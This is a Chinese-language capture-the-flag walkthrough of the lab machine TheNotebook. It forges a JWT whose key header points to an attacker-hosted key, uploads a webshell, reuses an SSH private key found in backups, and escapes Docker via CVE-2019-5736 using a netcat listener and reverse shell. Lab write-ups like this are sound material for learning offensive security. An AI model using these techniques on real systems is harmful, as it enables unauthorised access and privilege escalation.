TheNotebook 靶机渗透
目标:得到root权限,取得user.txt,root.txt
作者:shadow
时间:2021-07-24
请注意:我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。
一、信息收集
查看80端口
home页面提示我们先注册,我们在register里注册信息
注册成功,提示进入notes目录发现并没什么用
二、web渗透
尝试抓包
抓到了一串cookie,解密后
查阅资料发现JWT是一个JSON 网络令牌
Python JWT使用 - 简书 (jianshu.com)
https://jwt.io/introduction
JWT格式为headers.payload.signature
Headers = {"typ":"JWT","alg":"RS256","kid":"http://10.10.14.15/privKey.key"}
Payload ={"username":"eee","email":"123123@163.com","admin_cap":1}
生成加密密钥作为signature部分
ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key
这就是咱们要得密钥了
然后按格式写入headers.payload.signature,需base64加密
执行脚本获得token
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xNS9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImVlZSIsImVtYWlsIjoiMTIzMTIzQDE2My5jb20iLCJhZG1pbl9jYXAiOjF9.NXR8Mi4I9wEOE-MMtS0V95j4-5KGEw0PMmL8MunTazI1jzQke3CJGqGERl9AROmcUVtmtUGw0wez6CKdD6nmxmdTBmzka2x-A1VeRrGL_xppjcGyMp_QBuGMr0EKRCL_jvjRCG9-2iHn6C9PRUWmz6A7_E-D4eXcu9URtoKO6fOnYGMcleURv7ZGAP_4fQwsAfgvbUSu-eUvHcZq-ZpsHbXeWtSX9RSjIMcUbmk51Yp1Ry8SnPrc1qOVSWaljGITHBKb8gOler2Wi0YLxMsu50ELkp522A-lOMd8y687ztPMsDsGYu_KqjERyM1p1p66xr6Ku0A0YOZHfJ0yKLWuiA
成功越权到admin,出现admin panel,发现可以上传文件,直接上传木马
成功上传,现在访问木马获得权限
在备份中发现home文件,下载下来看看
发现ssh私钥,用私钥直接登录ssh
成功登录ssh,得到user.txt
三、提权
sudo -l
成功提权后发现root里无root.txt,我们应该在docker里
准备docker逃逸
docker逃逸漏洞CVE-2019-5736
下载exploit 修改反弹链接
编译go文件
没有编译环境的自行下载
apt-get install golang-go
编译后上传到受害机,赋予执行权限
同时本地开启监听
nc -nvlp 4445
开启另一个ssh
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
受害机运行main的同时,另一个ssh连接窗口执行sudo命令,成功反弹shell
成功获得root.txt
四、总结
这台靶机弄了好久,docker逃逸之前总是听说,这次是第一次遇到,jwt令牌之前也没了解过,查了好多资料进行了解,jwt格式,密钥之类的,推荐大家做一下这台机器。